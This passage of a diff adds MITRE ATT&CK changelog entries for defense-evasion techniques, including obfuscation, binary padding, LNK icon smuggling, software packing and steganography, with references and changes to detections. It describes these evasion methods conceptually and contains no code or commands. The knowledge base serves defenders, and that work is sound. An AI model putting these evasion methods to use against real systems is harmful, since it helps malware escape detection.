in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0085: Credential Dumping from SAM via Registry Dump and Local File Access" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:32.662000+00:00", + "modified": "2025-10-24 17:49:15.265000+00:00", + "name": "Obfuscated Files or Information", + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027", + "external_id": "T1027" + }, + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + }, + { + "source_name": "GitHub Revoke-Obfuscation", + "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.", + "url": "https://github.com/danielbohannon/Revoke-Obfuscation" + }, + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Revoke-Obfuscation July 2017", + "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved November 17, 2024.", + "url": "https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf" + }, + { + "source_name": "GitHub Office-Crackros Aug 2016", + "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.", + "url": "https://github.com/itsreallynick/office-crackros" + }, + { + "source_name": "Linux/Cdorked.A We Live Security Analysis", + "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.", + "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/" + }, + { + "source_name": "Carbon Black Obfuscation Sept 2016", + "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.", + "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/" + }, + { + "source_name": "PaloAlto EncodedCommand March 2017", + "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Red Canary", + "Christiaan Beek, @ChristiaanBeek" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"WMI: WMI Creation\", \"Script: Script Execution\", \"File: File Creation\", \"Module: Module Load\", \"Application Log: Application Log Content\", \"Command: Command Execution\", \"File: File Metadata\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.265000+00:00\", \"old_value\": \"2025-04-15 19:58:59.251000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \\n\\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\\\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \\n\\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \\n\\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. \", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \\n-\\n-Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\\\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \\n-\\n-Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \\n-\\n-The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. \"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1040: Behavior Prevention on Endpoint", + "M1047: Audit", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0005: WMI (WMI Creation)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)", + "DS0024: Windows Registry (Windows Registry Key Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0378: Behavioral Detection of Obfuscated Files or Information" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-05 14:04:25.865000+00:00", + "modified": "2025-10-24 17:48:50.205000+00:00", + "name": "Binary Padding", + "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/001", + "external_id": "T1027.001" + }, + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Securelist Malware Tricks April 2017", + "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.", + "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/" + }, + { + "source_name": "VirusTotal FAQ", + "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.", + "url": "https://www.virustotal.com/en/faq/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Martin Jirkal, ESET" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.205000+00:00\", \"old_value\": \"2025-04-25 14:46:48.991000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. \"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0553: Detection Strategy for Obfuscated Files or Information: Binary Padding" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-16 15:30:57.711000+00:00", + "modified": "2025-10-24 17:49:22.358000+00:00", + "name": "Compile After Delivery", + "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/004", + "external_id": "T1027.004" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "ATTACK IQ", + "description": "Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.", + "url": "https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/" + }, + { + "source_name": "TrendMicro WindowsAppMac", + "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Creation\", \"Process: Process Creation\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.358000+00:00\", \"old_value\": \"2025-04-15 19:59:06.564000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0501: Detection Strategy for Compile After Delivery - Source Code to Executable Transformation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-19 21:27:32.820000+00:00", + "modified": "2025-10-24 17:49:13.906000+00:00", + "name": "Indicator Removal from Tools", + "description": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/005", + "external_id": "T1027.005" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.906000+00:00\", \"old_value\": \"2025-04-16 20:37:19.031000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0189: Detection Strategy for Indicator Removal from Tools - Post-AV Evasion Modification" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-29 15:28:42.409000+00:00", + "modified": "2025-10-24 17:49:04.385000+00:00", + "name": "LNK Icon Smuggling", + "description": "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. \n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/012", + "external_id": "T1027.012" + }, + { + "source_name": "Unprotect Shortcut", + "description": "Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved October 3, 2023.", + "url": "https://unprotect.it/technique/shortcut-hiding/" + }, + { + "source_name": "Booby Trap Shortcut 2017", + "description": "Weyne, F. (2017, April). Booby trap a shortcut with a backdoor. Retrieved October 3, 2023.", + "url": "https://www.uperesia.com/booby-trapped-shortcut" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Michael Raggi @aRtAGGI", + "Andrew Northern, @ex_raritas", + "Gregory Lesnewich, @greglesnewich" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.385000+00:00\", \"old_value\": \"2025-04-15 22:44:37.776000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"\\n\", \"diff\": \"--- \\n+++ \\n@@ -1 +0,0 @@\\n-\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0405: Detection Strategy for LNK Icon Smuggling" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-05 14:17:46.686000+00:00", + "modified": "2025-10-24 17:49:29.503000+00:00", + "name": "Software Packing", + "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/002", + "external_id": "T1027.002" + }, + { + "source_name": "Awesome Executable Packing", + "description": "Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022.", + "url": "https://github.com/dhondta/awesome-executable-packing" + }, + { + "source_name": "ESET FinFisher Jan 2018", + "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Filip Kafka, ESET" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.503000+00:00\", \"old_value\": \"2025-04-16 20:37:22.038000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0023: Obfuscated Binary Unpacking Detection via Behavioral Patterns" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-05 14:28:16.719000+00:00", + "modified": "2025-10-24 17:49:20.395000+00:00", + "name": "Steganography", + "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/003", + "external_id": "T1027.003" + }, + { + "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics", + "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/" + }, + { + "source_name": "Wikipedia Duqu", + "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.", + "url": "https://en.wikipedia.org/wiki/Duqu" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.395000+00:00\", \"old_value\": \"2025-04-15 23:13:05.893000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0119: Detection Strategy for Steganographic Abuse in File & Script Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:56:24.776000+00:00", + "modified": "2025-10-24 17:49:24.545000+00:00", + "name": "Obtain Capabilities", + "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party 